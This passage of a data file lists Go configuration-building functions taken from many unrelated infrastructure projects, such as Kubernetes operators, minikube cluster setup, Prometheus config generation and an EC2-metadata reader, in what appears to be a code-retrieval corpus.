make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func NewRebalance(state State, gateway Gateway, schema config.Schema, options ...RebalanceOption) *Rebalance {\n\topts := newRebalanceOptions()\n\topts.state = state\n\topts.gateway = gateway\n\topts.schema = schema\n\tfor _, option := range options {\n\t\toption(opts)\n\t}\n\n\treturn &Rebalance{\n\t\tstate: opts.state,\n\t\tgateway: opts.gateway,\n\t\tschema: opts.schema,\n\t\tconfig: opts.config,\n\t\tlogger: opts.logger,\n\t\tclock: opts.clock,\n\t}\n}","func newReconciledConfigWatchRoleBinding() *rbacv1.RoleBinding {\n\treturn NewConfigWatchRoleBinding(newReconciledServiceAccount())()\n}","func newReconciler(name string, controllerConfig config.DNSServiceConfig) *reconciler {\n\treturn &reconciler{\n\t\tEnv: common.NewEnv(name, controllerConfig),\n\t}\n}","func setConfigDefaults(interoperatorConfig *InteroperatorConfig) *InteroperatorConfig {\n\tif interoperatorConfig.BindingWorkerCount == 0 {\n\t\tinteroperatorConfig.BindingWorkerCount = constants.DefaultBindingWorkerCount\n\t}\n\tif interoperatorConfig.InstanceWorkerCount == 0 {\n\t\tinteroperatorConfig.InstanceWorkerCount = constants.DefaultInstanceWorkerCount\n\t}\n\tif interoperatorConfig.SchedulerWorkerCount == 0 {\n\t\tinteroperatorConfig.SchedulerWorkerCount = constants.DefaultSchedulerWorkerCount\n\t}\n\tif interoperatorConfig.ProvisionerWorkerCount == 0 {\n\t\tinteroperatorConfig.ProvisionerWorkerCount = constants.DefaultProvisionerWorkerCount\n\t}\n\tif interoperatorConfig.PrimaryClusterID == \"\" {\n\t\tinteroperatorConfig.PrimaryClusterID = constants.DefaultPrimaryClusterID\n\t}\n\tif interoperatorConfig.ClusterReconcileInterval == \"\" {\n\t\tinteroperatorConfig.ClusterReconcileInterval = constants.DefaultClusterReconcileInterval\n\t}\n\n\treturn interoperatorConfig\n}","func newDefaultContainerConfig() ContainerConfig {\n\treturn ContainerConfig{\n\t\tCPU: newMinMaxAllocation(),\n\t\tMemory: newMinMaxAllocation(),\n\t\tBlockRead: newMinMaxAllocation(),\n\t\tBlockWrite: newMinMaxAllocation(),\n\t\tNetworkRx: newMinMaxAllocation(),\n\t\tNetworkTx: newMinMaxAllocation(),\n\t}\n}","func New(conf *Config) Rclone {\n\treturn Rclone{config: conf}\n}","func (rm *resourceManager) newUpdateShardConfigurationRequestPayload(\n\tr *resource,\n) (*svcsdk.ModifyReplicationGroupShardConfigurationInput, error) {\n\tres := &svcsdk.ModifyReplicationGroupShardConfigurationInput{}\n\n\tres.SetApplyImmediately(true)\n\tif r.ko.Spec.ReplicationGroupID != nil {\n\t\tres.SetReplicationGroupId(*r.ko.Spec.ReplicationGroupID)\n\t}\n\tif r.ko.Spec.NumNodeGroups != nil {\n\t\tres.SetNodeGroupCount(*r.ko.Spec.NumNodeGroups)\n\t}\n\n\tnodegroupsToRetain := []*string{}\n\n\t// TODO: optional -only if- NumNodeGroups increases shards\n\tif r.ko.Spec.NodeGroupConfiguration != nil {\n\t\tf13 := []*svcsdk.ReshardingConfiguration{}\n\t\tfor _, f13iter := range r.ko.Spec.NodeGroupConfiguration {\n\t\t\tf13elem := &svcsdk.ReshardingConfiguration{}\n\t\t\tif f13iter.NodeGroupID != nil {\n\t\t\t\tf13elem.SetNodeGroupId(*f13iter.NodeGroupID)\n\t\t\t\tnodegroupsToRetain = append(nodegroupsToRetain, &(*f13iter.NodeGroupID))\n\t\t\t}\n\t\t\tf13elemf2 := []*string{}\n\t\t\tif f13iter.PrimaryAvailabilityZone != nil {\n\t\t\t\tf13elemf2 = append(f13elemf2, &(*f13iter.PrimaryAvailabilityZone))\n\t\t\t}\n\t\t\tif f13iter.ReplicaAvailabilityZones != nil {\n\t\t\t\tfor _, f13elemf2iter := range f13iter.ReplicaAvailabilityZones {\n\t\t\t\t\tvar f13elemf2elem string\n\t\t\t\t\tf13elemf2elem = *f13elemf2iter\n\t\t\t\t\tf13elemf2 = append(f13elemf2, &f13elemf2elem)\n\t\t\t\t}\n\t\t\t\tf13elem.SetPreferredAvailabilityZones(f13elemf2)\n\t\t\t}\n\t\t\tf13 = append(f13, f13elem)\n\t\t}\n\t\tres.SetReshardingConfiguration(f13)\n\t}\n\n\t// TODO: optional - only if - NumNodeGroups decreases shards\n\t// res.SetNodeGroupsToRemove() or res.SetNodeGroupsToRetain()\n\tres.SetNodeGroupsToRetain(nodegroupsToRetain)\n\n\treturn res, nil\n}","func newCompressionForConfig(opt *Options) (*Compression, error) {\n\tc, err := NewCompressionPreset(opt.CompressionMode)\n\treturn c, err\n}","func defaultConfig() *config {\n\treturn &config{\n\t\tOperations: operations{\n\t\t\tResize: resize{\n\t\t\t\tRaw: *resizeDefaults(),\n\t\t\t},\n\t\t\tFlip: flip{\n\t\t\t\tRaw: *flipDefaults(),\n\t\t\t},\n\t\t\tBlur: blur{\n\t\t\t\tRaw: *blurDefaults(),\n\t\t\t},\n\t\t\tRotate: rotate{\n\t\t\t\tRaw: *rotateDefaults(),\n\t\t\t},\n\t\t\tCrop: crop{\n\t\t\t\tRaw: *cropDefaults(),\n\t\t\t},\n\t\t\tLabel: label{\n\t\t\t\tRaw: *labelDefaults(),\n\t\t\t},\n\t\t},\n\t\tExport: export{\n\t\t\tRaw: *exportDefaults(),\n\t\t},\n\t}\n}","func newConfig(old *Config, vars Vars) *Config {\n\tv := mergeVars(old.Vars, vars)\n\n\treturn &Config{\n\t\tAppID: old.AppID,\n\t\tVars: v,\n\t}\n}","func newConfigMap(configMapName, namespace string, labels map[string]string,\n\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\n\n\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &v1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: v1.SchemeGroupVersion.String(),\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configMapName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: data,\n\t}\n}","func newRobberMutation(c config, op Op, opts ...robberOption) *RobberMutation {\n\tm := &RobberMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRobber,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}","func recreateConfigMapFunc(f *framework.Framework, tc *nodeConfigTestCase) error {\n\t// need to ignore NotFound error, since there could be cases where delete\n\t// fails during a retry because the delete in a previous attempt succeeded,\n\t// before some other error occurred.\n\terr := deleteConfigMapFunc(f, tc)\n\tif err != nil && !apierrors.IsNotFound(err) {\n\t\treturn err\n\t}\n\treturn createConfigMapFunc(f, tc)\n}","func (sm *ShardMaster) CreateNewConfig() *Config{\n\t// get current config (the last config in config list)\n\tsz := len(sm.configs)\n\tcurr_config := &sm.configs[sz - 1]\n\n\t// create a new config\n\tnew_config := Config{Num: curr_config.Num + 1}\n\tnew_config.Groups = make(map[int64][]string)\n\n\t// copy the shards from curr_config\n\tfor s, gid := range curr_config.Shards{\n\t\tnew_config.Shards[s] = gid\n\t}\n\n\t// copy the group from curr_config\n\tfor gid, server := range curr_config.Groups{\n\t\tnew_config.Groups[gid] = server\n\t}\n\treturn &new_config\n}","func DefaultPromConfig(name string, replica int, remoteWriteEndpoint, ruleFile string, scrapeTargets ...string) string {\n\tvar targets string\n\tif len(scrapeTargets) > 0 {\n\t\ttargets = strings.Join(scrapeTargets, \",\")\n\t}\n\n\tconfig := fmt.Sprintf(`\nglobal:\n external_labels:\n prometheus: %v\n replica: %v\n`, name, replica)\n\n\tif targets != \"\" {\n\t\tconfig = fmt.Sprintf(`\n%s\nscrape_configs:\n- job_name: 'myself'\n # Quick scrapes for test purposes.\n scrape_interval: 1s\n scrape_timeout: 1s\n static_configs:\n - targets: [%s]\n relabel_configs:\n - source_labels: ['__address__']\n regex: '^.+:80$'\n action: drop\n`, config, targets)\n\t}\n\n\tif remoteWriteEndpoint != \"\" {\n\t\tconfig = fmt.Sprintf(`\n%s\nremote_write:\n- url: \"%s\"\n # Don't spam receiver on mistake.\n queue_config:\n min_backoff: 2s\n max_backoff: 10s\n`, config, remoteWriteEndpoint)\n\t}\n\n\tif ruleFile != \"\" {\n\t\tconfig = fmt.Sprintf(`\n%s\nrule_files:\n- \"%s\"\n`, config, ruleFile)\n\t}\n\n\treturn config\n}","func CreateConfigReloader(\n\tconfig ReloaderConfig,\n\treloadURL url.URL,\n\tlistenLocal bool,\n\tlocalHost string,\n\tlogFormat, logLevel string,\n\tadditionalArgs []string,\n\tvolumeMounts []v1.VolumeMount,\n) v1.Container {\n\tvar (\n\t\tports []v1.ContainerPort\n\t\targs = make([]string, 0, len(additionalArgs))\n\t)\n\n\tvar listenAddress string\n\tif listenLocal {\n\t\tlistenAddress = localHost\n\t} else {\n\t\tports = append(\n\t\t\tports,\n\t\t\tv1.ContainerPort{\n\t\t\t\tName: \"reloader-web\",\n\t\t\t\tContainerPort: configReloaderPort,\n\t\t\t\tProtocol: v1.ProtocolTCP,\n\t\t\t},\n\t\t)\n\t}\n\targs = append(args, fmt.Sprintf(\"--listen-address=%s:%d\", listenAddress, configReloaderPort))\n\n\targs = append(args, fmt.Sprintf(\"--reload-url=%s\", reloadURL.String()))\n\n\tif logLevel != \"\" && logLevel != \"info\" {\n\t\targs = append(args, fmt.Sprintf(\"--log-level=%s\", logLevel))\n\t}\n\n\tif logFormat != \"\" && logFormat != \"logfmt\" {\n\t\targs = append(args, fmt.Sprintf(\"--log-format=%s\", logFormat))\n\t}\n\n\tfor i := range additionalArgs {\n\t\targs = append(args, additionalArgs[i])\n\t}\n\n\tresources := v1.ResourceRequirements{\n\t\tLimits: v1.ResourceList{},\n\t\tRequests: v1.ResourceList{},\n\t}\n\tif config.CPU != \"0\" {\n\t\tresources.Limits[v1.ResourceCPU] = resource.MustParse(config.CPU)\n\t\tresources.Requests[v1.ResourceCPU] = resource.MustParse(config.CPU)\n\t}\n\tif config.Memory != \"0\" {\n\t\tresources.Limits[v1.ResourceMemory] = resource.MustParse(config.Memory)\n\t\tresources.Requests[v1.ResourceMemory] = resource.MustParse(config.Memory)\n\t}\n\n\treturn v1.Container{\n\t\tName: \"config-reloader\",\n\t\tImage: config.Image,\n\t\tTerminationMessagePolicy: v1.TerminationMessageFallbackToLogsOnError,\n\t\tEnv: []v1.EnvVar{\n\t\t\t{\n\t\t\t\tName: \"POD_NAME\",\n\t\t\t\tValueFrom: &v1.EnvVarSource{\n\t\t\t\t\tFieldRef: &v1.ObjectFieldSelector{FieldPath: \"metadata.name\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tCommand: []string{\"/bin/prometheus-config-reloader\"},\n\t\tArgs: args,\n\t\tPorts: ports,\n\t\tVolumeMounts: volumeMounts,\n\t\tResources: resources,\n\t}\n}","func newConfigV1() *configV1 {\n\tconf := new(configV1)\n\tconf.Version = mcPreviousConfigVersion\n\t// make sure to allocate map's otherwise Golang\n\t// exits silently without providing any errors\n\tconf.Hosts = make(map[string]*hostConfig)\n\tconf.Aliases = make(map[string]string)\n\treturn conf\n}","func (r *ResUnstructured) newUnstructured(object map[string]interface{}) *unstructured.Unstructured {\n\tu := &unstructured.Unstructured{}\n\tu.Object = object\n\n\tu.SetGroupVersionKind(schema.GroupVersionKind{\n\t\tGroup: r.group,\n\t\tKind: r.kind,\n\t\tVersion: r.version,\n\t})\n\n\tu.SetName(r.name)\n\tu.SetNamespace(r.namespace)\n\treturn u\n}","func newConfig() (*config, error) {\n\tec2Metadata := ec2metadata.New(session.Must(session.NewSession()))\n\tregion, err := ec2Metadata.Region()\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get region from ec2 metadata\")\n\t}\n\n\tinstanceID, err := ec2Metadata.GetMetadata(\"instance-id\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get instance id from ec2 metadata\")\n\t}\n\n\tmac, err := ec2Metadata.GetMetadata(\"mac\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get mac from ec2 metadata\")\n\t}\n\n\tsecurityGroups, err := ec2Metadata.GetMetadata(\"security-groups\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get security groups from ec2 metadata\")\n\t}\n\n\tinterfaces, err := ec2Metadata.GetMetadata(\"network/interfaces/macs\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get interfaces from ec2 metadata\")\n\t}\n\n\tsubnet, err := ec2Metadata.GetMetadata(\"network/interfaces/macs/\" + mac + \"/subnet-id\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get subnet from ec2 metadata\")\n\t}\n\n\tvpc, err := ec2Metadata.GetMetadata(\"network/interfaces/macs/\" + mac + \"/vpc-id\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get vpc from ec2 metadata\")\n\t}\n\n\treturn &config{region: region,\n\t\tsubnet: subnet,\n\t\tindex: int64(len(strings.Split(interfaces, \"\\n\"))),\n\t\tinstanceID: instanceID,\n\t\tsecurityGroups: strings.Split(securityGroups, \"\\n\"),\n\t\tvpc: vpc,\n\t}, nil\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileParameterStore{client: mgr.GetClient(), scheme: mgr.GetScheme()}\n}","func NewRepacker(repo *repository.Repository, unusedBlobs backend.IDSet) *Repacker {\n\treturn &Repacker{\n\t\trepo: repo,\n\t\tunusedBlobs: unusedBlobs,\n\t}\n}","func makeZoneConfig(options tree.KVOptions) *zonepb.ZoneConfig {\n\tzone := &zonepb.ZoneConfig{}\n\tfor i := range options {\n\t\tswitch options[i].Key {\n\t\tcase \"constraints\":\n\t\t\tconstraintsList := &zonepb.ConstraintsList{}\n\t\t\tvalue := options[i].Value.(*tree.StrVal).RawString()\n\t\t\tif err := yaml.UnmarshalStrict([]byte(value), constraintsList); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tzone.Constraints = constraintsList.Constraints\n\n\t\tcase \"voter_constraints\":\n\t\t\tconstraintsList := &zonepb.ConstraintsList{}\n\t\t\tvalue := options[i].Value.(*tree.StrVal).RawString()\n\t\t\tif err := yaml.UnmarshalStrict([]byte(value), constraintsList); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tzone.VoterConstraints = constraintsList.Constraints\n\t\t\tzone.NullVoterConstraintsIsEmpty = true\n\n\t\tcase \"lease_preferences\":\n\t\t\tvalue := options[i].Value.(*tree.StrVal).RawString()\n\t\t\tif err := yaml.UnmarshalStrict([]byte(value), &zone.LeasePreferences); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\t}\n\treturn zone\n}","func newStorageConfigFromConfigMap(ctx context.Context, configMap *corev1.ConfigMap, c client.Reader, ns string) (*StorageConfig, error) {\n\tvar sc StorageConfig\n\thasDefault := false\n\tfor k, v := range configMap.Data {\n\t\tvar bc BucketConfig\n\t\terr := yaml.Unmarshal([]byte(v), &bc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbc.fixEndpoint()\n\t\tbc.isDefault = k == \"default\"\n\n\t\t// Try loading the secret\n\t\tvar secret corev1.Secret\n\t\tkey := client.ObjectKey{\n\t\t\tName: bc.SecretName,\n\t\t\tNamespace: configMap.GetNamespace(),\n\t\t}\n\t\tif err := c.Get(ctx, key, &secret); err != nil {\n\t\t\treturn nil, maskAny(err)\n\t\t}\n\t\tif raw, found := secret.Data[constants.SecretKeyS3AccessKey]; found {\n\t\t\tbc.accessKey = string(raw)\n\t\t} else {\n\t\t\treturn nil, maskAny(fmt.Errorf(\"Config %#v refers to Secret '%s' that has no '%s' field\", configMap.Data, bc.SecretName, constants.SecretKeyS3AccessKey))\n\t\t}\n\t\tif raw, found := secret.Data[constants.SecretKeyS3SecretKey]; found {\n\t\t\tbc.secretKey = string(raw)\n\t\t} else {\n\t\t\treturn nil, maskAny(fmt.Errorf(\"Config %#v refers to Secret '%s' that has no '%s' field\", configMap.Data, bc.SecretName, constants.SecretKeyS3SecretKey))\n\t\t}\n\n\t\t// Add to config\n\t\thasDefault = hasDefault || bc.isDefault\n\t\tsc.Buckets = append(sc.Buckets, bc)\n\t}\n\tif !hasDefault {\n\t\treturn nil, maskAny(fmt.Errorf(\"Config %#v must have a default bucket\", configMap.Data))\n\t}\n\tsort.Slice(sc.Buckets, func(i, j int) bool {\n\t\ta, b := sc.Buckets[i], sc.Buckets[j]\n\t\tif a.isDefault && !b.isDefault {\n\t\t\treturn true\n\t\t}\n\t\tif !a.isDefault && b.isDefault {\n\t\t\treturn false\n\t\t}\n\t\treturn strings.Compare(a.Name, b.Name) < 0\n\t})\n\treturn &sc, nil\n}","func populateConfig(c Config) Config {\n\tif c.MaxBody <= 0 {\n\t\tlog.Println(\"MAX_BODY unspecified. Defaulting to 5kb\")\n\t\tc.MaxBody = 5 * 1024\n\t}\n\tif c.Endpoint == \"\" {\n\t\tlog.Println(\"ENDPOINT unspecified. Defaulting to ':8080'\")\n\t\tc.Endpoint = \":8080\"\n\t}\n\tif c.DefaultInterval == 0 {\n\t\tlog.Println(\"DEFAULT_INTERVAL unspecified. Defaulting to '60s'\")\n\t\tc.DefaultInterval = 60\n\t}\n\treturn c\n}","func New(config *interface{}) {\n\tv := reflect.ValueOf(*config)\n\tfieldCount := v.NumField()\n\n\tfor i := 0; i < fieldCount; i++ {\n\t\tswitch v.Field(i).Kind() {\n\t\tcase reflect.Int:\n\t\t\tval := reflect.ValueOf(getIntFromEnv(v.Field(i).Type().Name()))\n\t\t\tv.Field(i).Set(val)\n\t\tcase reflect.String:\n\t\t\tval := reflect.ValueOf(getStringFromEnv(v.Field(i).Type().Name()))\n\t\t\tv.Field(i).Set(val)\n\t\tcase reflect.Bool:\n\t\t\tval := reflect.ValueOf(getBoolFromEnv(v.Field(i).Type().Name()))\n\t\t\tv.Field(i).Set(val)\n\t\tdefault:\n\t\t\tlog.Fatalf(\"error building config -- %s is not of an acceptable type\", v.Field(i).Type().Name())\n\t\t}\n\t}\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileConfigMap{client: mgr.GetClient(), scheme: mgr.GetScheme()}\n}","func newConfig(opts ...Option) config {\n\tc := config{\n\t\tMeterProvider: otel.GetMeterProvider(),\n\t}\n\tfor _, opt := range opts {\n\t\topt.apply(&c)\n\t}\n\treturn c\n}","func fillDefaults(egw *operatorv1.EgressGateway, installation *operatorv1.InstallationSpec) {\n\tdefaultAWSNativeIP := operatorv1.NativeIPDisabled\n\n\t// Default value of Native IP is Disabled.\n\tif egw.Spec.AWS != nil && egw.Spec.AWS.NativeIP == nil {\n\t\tegw.Spec.AWS.NativeIP = &defaultAWSNativeIP\n\t}\n\n\t// set the default label if not specified.\n\tdefLabel := map[string]string{\"projectcalico.org/egw\": egw.Name}\n\tif egw.Spec.Template == nil {\n\t\tegw.Spec.Template = &operatorv1.EgressGatewayDeploymentPodTemplateSpec{}\n\t\tegw.Spec.Template.Metadata = &operatorv1.EgressGatewayMetadata{Labels: defLabel}\n\t} else {\n\t\tif egw.Spec.Template.Metadata == nil {\n\t\t\tegw.Spec.Template.Metadata = &operatorv1.EgressGatewayMetadata{Labels: defLabel}\n\t\t} else {\n\t\t\tif len(egw.Spec.Template.Metadata.Labels) == 0 {\n\t\t\t\tegw.Spec.Template.Metadata.Labels = defLabel\n\t\t\t}\n\t\t}\n\t}\n\n\t// If affinity isn't specified by the user, default pod anti affinity is added so that 2 EGW pods aren't scheduled in\n\t// the same node. If the provider is AKS, set the node affinity so that pods don't run on virutal-nodes.\n\tdefAffinity := &v1.Affinity{}\n\tdefAffinity.PodAntiAffinity = &v1.PodAntiAffinity{\n\t\tPreferredDuringSchedulingIgnoredDuringExecution: []v1.WeightedPodAffinityTerm{\n\t\t\t{\n\t\t\t\tWeight: 1,\n\t\t\t\tPodAffinityTerm: v1.PodAffinityTerm{\n\t\t\t\t\tLabelSelector: &metav1.LabelSelector{\n\t\t\t\t\t\tMatchLabels: egw.Spec.Template.Metadata.Labels,\n\t\t\t\t\t},\n\t\t\t\t\tTopologyKey: \"topology.kubernetes.io/zone\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tswitch installation.KubernetesProvider {\n\tcase operatorv1.ProviderAKS:\n\t\tdefAffinity.NodeAffinity = &v1.NodeAffinity{\n\t\t\tRequiredDuringSchedulingIgnoredDuringExecution: &v1.NodeSelector{\n\t\t\t\tNodeSelectorTerms: []v1.NodeSelectorTerm{{\n\t\t\t\t\tMatchExpressions: []v1.NodeSelectorRequirement{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"type\",\n\t\t\t\t\t\t\tOperator: v1.NodeSelectorOpNotIn,\n\t\t\t\t\t\t\tValues: []string{\"virtual-node\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"kubernetes.azure.com/cluster\",\n\t\t\t\t\t\t\tOperator: v1.NodeSelectorOpExists,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\t},\n\t\t}\n\tdefault:\n\t\tdefAffinity.NodeAffinity = nil\n\t}\n\n\tif egw.Spec.Template.Spec == nil {\n\t\tegw.Spec.Template.Spec = &operatorv1.EgressGatewayDeploymentPodSpec{Affinity: defAffinity}\n\t} else if egw.Spec.Template.Spec.Affinity == nil {\n\t\tegw.Spec.Template.Spec.Affinity = defAffinity\n\t}\n}","func new() exampleInterface {\n\treturn config{}\n}","func generateNewConfigFromFlags(cmd *cobra.Command, k8sVersion string, rtime string, drvName string) config.ClusterConfig {\n\tvar cc config.ClusterConfig\n\n\t// networkPlugin cni deprecation warning\n\tchosenNetworkPlugin := viper.GetString(networkPlugin)\n\tif chosenNetworkPlugin == \"cni\" {\n\t\tout.WarningT(\"With --network-plugin=cni, you will need to provide your own CNI. See --cni flag as a user-friendly alternative\")\n\t}\n\n\tif !(driver.IsKIC(drvName) || driver.IsKVM(drvName) || driver.IsQEMU(drvName)) && viper.GetString(network) != \"\" {\n\t\tout.WarningT(\"--network flag is only valid with the docker/podman, KVM and Qemu drivers, it will be ignored\")\n\t}\n\n\tcheckNumaCount(k8sVersion)\n\n\tcheckExtraDiskOptions(cmd, drvName)\n\n\tcc = config.ClusterConfig{\n\t\tName: ClusterFlagValue(),\n\t\tKeepContext: viper.GetBool(keepContext),\n\t\tEmbedCerts: viper.GetBool(embedCerts),\n\t\tMinikubeISO: viper.GetString(isoURL),\n\t\tKicBaseImage: viper.GetString(kicBaseImage),\n\t\tNetwork: getNetwork(drvName),\n\t\tSubnet: viper.GetString(subnet),\n\t\tMemory: getMemorySize(cmd, drvName),\n\t\tCPUs: getCPUCount(drvName),\n\t\tDiskSize: getDiskSize(),\n\t\tDriver: drvName,\n\t\tListenAddress: viper.GetString(listenAddress),\n\t\tHyperkitVpnKitSock: viper.GetString(vpnkitSock),\n\t\tHyperkitVSockPorts: viper.GetStringSlice(vsockPorts),\n\t\tNFSShare: viper.GetStringSlice(nfsShare),\n\t\tNFSSharesRoot: viper.GetString(nfsSharesRoot),\n\t\tDockerEnv: config.DockerEnv,\n\t\tDockerOpt: config.DockerOpt,\n\t\tInsecureRegistry: insecureRegistry,\n\t\tRegistryMirror: registryMirror,\n\t\tHostOnlyCIDR: viper.GetString(hostOnlyCIDR),\n\t\tHypervVirtualSwitch: viper.GetString(hypervVirtualSwitch),\n\t\tHypervUseExternalSwitch: viper.GetBool(hypervUseExternalSwitch),\n\t\tHypervExternalAdapter: viper.GetString(hypervExternalAdapter),\n\t\tKVMNetwork: viper.GetString(kvmNetwork),\n\t\tKVMQemuURI: viper.GetString(kvmQemuURI),\n\t\tKVMGPU: viper.GetBool(kvmGPU),\n\t\tKVMHidden: viper.GetBool(kvmHidden),\n\t\tKVMNUMACount: viper.GetInt(kvmNUMACount),\n\t\tDisableDriverMounts: viper.GetBool(disableDriverMounts),\n\t\tUUID: viper.GetString(uuid),\n\t\tNoVTXCheck: viper.GetBool(noVTXCheck),\n\t\tDNSProxy: viper.GetBool(dnsProxy),\n\t\tHostDNSResolver: viper.GetBool(hostDNSResolver),\n\t\tHostOnlyNicType: viper.GetString(hostOnlyNicType),\n\t\tNatNicType: viper.GetString(natNicType),\n\t\tStartHostTimeout: viper.GetDuration(waitTimeout),\n\t\tExposedPorts: viper.GetStringSlice(ports),\n\t\tSSHIPAddress: viper.GetString(sshIPAddress),\n\t\tSSHUser: viper.GetString(sshSSHUser),\n\t\tSSHKey: viper.GetString(sshSSHKey),\n\t\tSSHPort: viper.GetInt(sshSSHPort),\n\t\tExtraDisks: viper.GetInt(extraDisks),\n\t\tCertExpiration: viper.GetDuration(certExpiration),\n\t\tMount: viper.GetBool(createMount),\n\t\tMountString: viper.GetString(mountString),\n\t\tMount9PVersion: viper.GetString(mount9PVersion),\n\t\tMountGID: viper.GetString(mountGID),\n\t\tMountIP: viper.GetString(mountIPFlag),\n\t\tMountMSize: viper.GetInt(mountMSize),\n\t\tMountOptions: viper.GetStringSlice(mountOptions),\n\t\tMountPort: uint16(viper.GetUint(mountPortFlag)),\n\t\tMountType: viper.GetString(mountTypeFlag),\n\t\tMountUID: viper.GetString(mountUID),\n\t\tBinaryMirror: viper.GetString(binaryMirror),\n\t\tDisableOptimizations: viper.GetBool(disableOptimizations),\n\t\tDisableMetrics: viper.GetBool(disableMetrics),\n\t\tCustomQemuFirmwarePath: viper.GetString(qemuFirmwarePath),\n\t\tSocketVMnetClientPath: detect.SocketVMNetClientPath(),\n\t\tSocketVMnetPath: detect.SocketVMNetPath(),\n\t\tStaticIP: viper.GetString(staticIP),\n\t\tKubernetesConfig: config.KubernetesConfig{\n\t\t\tKubernetesVersion: k8sVersion,\n\t\t\tClusterName: ClusterFlagValue(),\n\t\t\tNamespace: viper.GetString(startNamespace),\n\t\t\tAPIServerName: viper.GetString(apiServerName),\n\t\t\tAPIServerNames: apiServerNames,\n\t\t\tAPIServerIPs: apiServerIPs,\n\t\t\tDNSDomain: viper.GetString(dnsDomain),\n\t\t\tFeatureGates: viper.GetString(featureGates),\n\t\t\tContainerRuntime: rtime,\n\t\t\tCRISocket: viper.GetString(criSocket),\n\t\t\tNetworkPlugin: chosenNetworkPlugin,\n\t\t\tServiceCIDR: viper.GetString(serviceCIDR),\n\t\t\tImageRepository: getRepository(cmd, k8sVersion),\n\t\t\tExtraOptions: getExtraOptions(),\n\t\t\tShouldLoadCachedImages: viper.GetBool(cacheImages),\n\t\t\tCNI: getCNIConfig(cmd),\n\t\t\tNodePort: viper.GetInt(apiServerPort),\n\t\t},\n\t\tMultiNodeRequested: viper.GetInt(nodes) > 1,\n\t}\n\tcc.VerifyComponents = interpretWaitFlag(*cmd)\n\tif viper.GetBool(createMount) && driver.IsKIC(drvName) {\n\t\tcc.ContainerVolumeMounts = []string{viper.GetString(mountString)}\n\t}\n\n\tif driver.IsKIC(drvName) {\n\t\tsi, err := oci.CachedDaemonInfo(drvName)\n\t\tif err != nil {\n\t\t\texit.Message(reason.Usage, \"Ensure your {{.driver_name}} is running and is healthy.\", out.V{\"driver_name\": driver.FullName(drvName)})\n\t\t}\n\t\tif si.Rootless {\n\t\t\tout.Styled(style.Notice, \"Using rootless {{.driver_name}} driver\", out.V{\"driver_name\": driver.FullName(drvName)})\n\t\t\tif cc.KubernetesConfig.ContainerRuntime == constants.Docker {\n\t\t\t\texit.Message(reason.Usage, \"--container-runtime must be set to \\\"containerd\\\" or \\\"cri-o\\\" for rootless\")\n\t\t\t}\n\t\t\t// KubeletInUserNamespace feature gate is essential for rootless driver.\n\t\t\t// See https://kubernetes.io/docs/tasks/administer-cluster/kubelet-in-userns/\n\t\t\tcc.KubernetesConfig.FeatureGates = addFeatureGate(cc.KubernetesConfig.FeatureGates, \"KubeletInUserNamespace=true\")\n\t\t} else {\n\t\t\tif oci.IsRootlessForced() {\n\t\t\t\tif driver.IsDocker(drvName) {\n\t\t\t\t\texit.Message(reason.Usage, \"Using rootless Docker driver was required, but the current Docker does not seem rootless. Try 'docker context use rootless' .\")\n\t\t\t\t} else {\n\t\t\t\t\texit.Message(reason.Usage, \"Using rootless driver was required, but the current driver does not seem rootless\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tout.Styled(style.Notice, \"Using {{.driver_name}} driver with root privileges\", out.V{\"driver_name\": driver.FullName(drvName)})\n\t\t}\n\t\t// for btrfs: if k8s < v1.25.0-beta.0 set kubelet's LocalStorageCapacityIsolation feature gate flag to false,\n\t\t// and if k8s >= v1.25.0-beta.0 (when it went ga and removed as feature gate), set kubelet's localStorageCapacityIsolation option (via kubeadm config) to false.\n\t\t// ref: https://github.com/kubernetes/minikube/issues/14728#issue-1327885840\n\t\tif si.StorageDriver == \"btrfs\" {\n\t\t\tif semver.MustParse(strings.TrimPrefix(k8sVersion, version.VersionPrefix)).LT(semver.MustParse(\"1.25.0-beta.0\")) {\n\t\t\t\tklog.Info(\"auto-setting LocalStorageCapacityIsolation to false because using btrfs storage driver\")\n\t\t\t\tcc.KubernetesConfig.FeatureGates = addFeatureGate(cc.KubernetesConfig.FeatureGates, \"LocalStorageCapacityIsolation=false\")\n\t\t\t} else if 